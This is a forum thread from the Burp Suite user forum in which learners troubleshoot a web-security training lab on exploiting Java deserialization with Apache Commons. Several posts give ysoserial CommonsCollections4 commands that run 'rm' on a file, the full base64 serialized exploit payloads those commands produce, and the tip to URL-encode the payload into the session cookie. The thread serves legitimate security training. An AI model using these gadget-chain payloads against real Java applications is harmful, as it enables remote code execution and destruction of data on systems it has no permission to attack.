Burp Suite User Forum

Login to post

Lab - Exploiting Java deserialization with Apache Commons

Mauro | Last updated: Jul 24, 2020 03:20PM UTC

Hi! I'm trying to solve this lab (Exploiting Java deserialization with Apache Commons) but i can't. First, i tried with ysoserial (like in the description of the lab is told) but when i send the request i get a 200 Ok response but whith this inside: java.io.StreamCorruptedException: invalid handle value: 00400053 After that, i tried with de serialized object that appears in the solution but i get the same error. Has anyone solved this lab? Thanks!

Uthman, PortSwigger Agent | Last updated: Jul 27, 2020 09:51AM UTC

If you believe there could be an issue with the lab, please send us screenshots to support@portswigger.net Are you using the official solution? What steps have you completed so far?

ShiftingPoint | Last updated: Jul 30, 2020 04:05AM UTC

Hello, I have the same issue with this lab. I even tried all collection types in ysoserial. No one gives the base64 showed in your solution. I can't attach screens, but I can show the outputs. So for java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64 -w 0 the output is rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZ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AAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+AB8AAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAOgAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAXZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAAAAAAAAAAAAAAeHB3BAAAAANzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXEAfgApeA== Even when I tried using openssl base64, there was the same issue: java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' > test openssl base64 -in test rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6 ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhc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AAAAOgAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoA AQACABYAEAAJcHQABFB3bnJwdwEAeHVyABJbTGphdmEubGFuZy5DbGFzczurFteu y81amQIAAHhwAAAAAXZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAA AAAAAAAAAAAAeHB3BAAAAANzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIA AUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXEA fgApeA==

Uthman, PortSwigger Agent | Last updated: Jul 30, 2020 11:24AM UTC

What is the output of the below? java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64

ShiftingPoint | Last updated: Jul 31, 2020 02:08PM UTC

I've showed below, the output is: rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBh cmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9u cy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjM AgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMv Y29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0 aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29y Zy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVy MMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAuW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVj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QB+AB8AAAHUyv66vgAA ADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVl BXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2Fs VmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3Bh eWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgAL BwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2Jq ZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRn ZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3 AAGxAAAAAgANAAAABgABAAAAOgAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQAC ABYAEAAJcHQABFB3bnJwdwEAeHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAA AXZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAAAAAAAAAAAAAAeHB3BAAAAANzcgAR amF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKG rJUdC5TgiwIAAHhwAAAAAXEAfgApeA==

Uthman, PortSwigger Agent | Last updated: Jul 31, 2020 02:40PM UTC

Can you share the output of the steps below? 1. Clone the repository from GitHub: https://github.com/frohoff/ysoserial.git 2. Edit the pom.xml file source/target compatibility from 1.6 to 1.7 here: <!-- maximize compatibility --> <source>1.6</source> <target>1.6</target> 3. Run mvn clean package -DskipTests at your terminal/command prompt - you need to make sure that Maven is installed on your machine. This should create a new directory within the cloned one called 'target'. This will contain the actual JAR. 4. Download and install AdoptOpenJDK8. This is the only java version I could use to make it work. I used 11, 13, and 14 but ran into some issues. 5. Run the command ysoserial command from the target directory in the repo: java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64

ShiftingPoint | Last updated: Jul 31, 2020 10:46PM UTC

Done, the output is the same, lol: rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBh cmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9u cy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjM AgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMv Y29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0 aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29y Zy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVy MMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAuW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVj dGlvbnM0L1RyYW5zZm9ybWVyO3hwdXIALltMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25z NC5UcmFuc2Zvcm1lcjs5gTr7CNo/pQIAAHhwAAAAAnNyADxvcmcuYXBhY2hlLmNvbW1vbnMuY29s bGVjdGlvbnM0LmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25z dGFudHQAEkxqYXZ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h eWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgAL BwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2Jq ZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRn ZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3 AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQAC ABYAEAAJcHQABFB3bnJwdwEAeHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAA AXZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAAAAAAAAAAAAAAeHB3BAAAAANzcgAR amF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKG rJUdC5TgiwIAAHhwAAAAAXEAfgApeA==

Uthman, PortSwigger Agent | Last updated: Aug 03, 2020 09:27AM UTC

Can you please email us with further screenshots and information? I still cannot replicate your issue, unfortunately. You can reach us on support@portswigger.net

Jean | Last updated: Aug 09, 2020 09:36PM UTC

I have the same problem, I have already made the recommendations but I still cannot do the laboratory.

Uthman, PortSwigger Agent | Last updated: Aug 10, 2020 10:31AM UTC

Thanks for the feedback. Please send us an email so we can assist you.

ShiftingPoint | Last updated: Aug 11, 2020 02:37PM UTC

Ok, I'll send screenshots.

dj | Last updated: Aug 20, 2020 11:17PM UTC

I faced the same error message when the sent the request without URL encoding the base64 string(Lab solution does mention URL encode, but it mentions after asking you to replace the cookie - this could be the confusion!). Once you replace the cookie with URLencoded(base64 string), you should be good. URLEncoded string looks something like --------------------------------------- Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: session=%72%4f%30%41%42%58%4e%79%41%42%64%71%59%58%5a%68%4c%6e%56%30%61%57%77%75%55%48%4a%70%62%33%4a%70%64%48%6c%52%64%57%56%31%5a%5a%54%61%4d%4c%54%37%..blah blah ----------------------------------------

Grant | Last updated: Sep 11, 2020 11:13PM UTC

Hello, I wanted to make a comment on this. Just an FYI, the reason why some of you might be seeing a different base64 value than what is in the solution is because the one listed in the solution is actually incorrect. Can someone from the PortSwigger team look into this to prevent confusion for future users? You have the output for the command when run with 'whoami' rather than 'rm /home/carlos/morale.txt'. This is the reason why there is so much confusion on the results in this thread. Those who posted their base64 outputs actually had the correct ones and just need to perform one more action to claim victory over the lab. I will let you figure out what it is :) (the solution tells you anyway).

Uthman, PortSwigger Agent | Last updated: Sep 14, 2020 07:39AM UTC

Hi Grant, That is inaccurate, unfortunately. The output for 'whoami' would just be carlos. That would be a different base64 value. Our academy team has just double-checked this and everything appears to be good on our end. If you still think there could be a bug, please email us with further details.

Motasem | Last updated: Sep 30, 2020 08:23AM UTC

just you need to encode it as URL :)

You need to Log in to post a reply. Or register here, for free.